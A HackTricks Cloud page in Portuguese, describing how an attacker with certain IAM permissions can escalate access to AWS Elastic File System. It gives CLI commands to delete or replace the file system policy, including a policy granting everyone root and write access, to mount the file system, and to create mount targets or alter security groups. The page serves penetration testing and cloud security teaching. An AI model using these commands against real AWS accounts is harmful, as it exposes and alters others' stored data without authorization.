AWS - EFS Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
EFS
Mais informações sobre EFS em:
Lembre-se que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS esteja exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisa ter as permissões extras mencionadas aqui para acessá-lo.
elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy
Com qualquer uma dessas permissões um atacante pode alterar a política do sistema de arquivos para conceder acesso a ele, ou simplesmente excluí-la para que o acesso padrão seja concedido.
Para deletar a política:
aws efs delete-file-system-policy \
--file-system-id <value>
Para alterá-lo:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Com essa permissão, um atacante poderá mount the EFS. Se a write permission não for concedida por padrão a todos que podem montar o EFS, ele terá apenas read access.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
As permissões adicionais elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite podem ser usadas para escrever dentro do sistema de arquivos após ele ser montado e para acessar esse sistema de arquivos como root.
Impacto Potencial: privesc indireta ao localizar informações sensíveis no sistema de arquivos.
elasticfilesystem:CreateMountTarget
Se um atacante estiver dentro de uma subnetwork onde nenhum mount target do EFS exista, ele poderia simplesmente criar um na sua subnet com essa permissão:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Impacto Potencial: privesc indireta ao localizar informações sensíveis no sistema de arquivos.
elasticfilesystem:ModifyMountTargetSecurityGroups
Em um cenário onde um atacante descobre que o EFS tem um mount target na sua sub-rede, mas nenhum security group está permitindo o tráfego, ele poderia simplesmente alterar isso modificando os security groups selecionados:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Impacto Potencial: Indirect privesc ao localizar informações sensíveis no sistema de arquivos.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud